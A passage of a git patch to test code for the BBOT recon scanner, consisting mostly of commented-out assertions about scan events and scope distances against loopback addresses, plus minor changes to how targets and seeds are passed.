assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + + # for _graph_output_events in (graph_output_events, graph_output_batch_events): + # assert len(_graph_output_events) == 8 + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + + # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "127.0.0.1/31", + # modules=["httpx"], + # _config={ + # "dns": {"minimal": False, "search_distance": 2}, + # "scope": {"report_distance": 1, "search_distance": 1}, + # "excavate": True, + # "speculate": True, + # "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, + # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + # }, + # ) + + # assert len(events) == 8 + # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + + # assert len(all_events) == 22 + # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + + # assert len(all_events_nodups) == 20 + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) + + # for _graph_output_events in (graph_output_events, graph_output_batch_events): + # assert len(_graph_output_events) == 8 + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) + + # # 2 events from a single HTTP_RESPONSE + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "127.0.0.111/31", "127.0.0.222", "127.0.0.33", + # seeds=["127.0.0.111/31"], + # modules=["httpx"], + # output_modules=["python"], + # _config={ + # "dns": {"minimal": False, "search_distance": 2}, + # "scope": {"search_distance": 0, "report_distance": 0}, + # "excavate": True, + # "speculate": True, + # "modules": {"speculate": {"ports": "8888"}}, + # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], + # }, + # ) + + # assert len(events) == 12 + # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) + # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) + # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) + # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) + # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + + # assert len(all_events) == 31 + # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + + # assert len(all_events_nodups) == 27 + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.110" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1]) + # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1]) + + # for _graph_output_events in (graph_output_events, graph_output_batch_events): + # assert len(_graph_output_events) == 12 + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.110/31" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.110"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"]) + # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0]) + # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"]) + # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"]) + + # # sslcert with in-scope chain + # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + # "127.0.0.0/31", + # modules=["sslcert"], + # _config={"scope": {"report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, + # _dns_mock={"www.bbottest.notreal": {"A": ["127.0.1.0"]}, "test.notreal": {"A": ["127.0.0.1"]}}, + # ) + + # assert len(events) == 7 + for e in events: + print(e) + return assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) @@ -750,9 +753,9 @@ def custom_setup(scan): # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( + "127.0.1.0", seeds=["127.0.0.0/31"], modules=["sslcert"], - target_list=["127.0.1.0"], _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) @@ -806,7 +809,8 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): # dns search distance = 1, report distance = 0 scan = bbot_scanner( - target_list=["http://127.0.0.1:8888", "127.0.0.0/29", "test.notreal"], + "127.0.0.0/29", "test.notreal", + seeds=["http://127.0.0.1:8888"], modules=["httpx"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"], From f53653a9b2b524bf70a15a15024fd15da0a4f81c Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Sun, 7 Dec 2025 23:53:04 -0500 Subject: [PATCH 198/912] patch wip 2 --- bbot/core/event/base.py 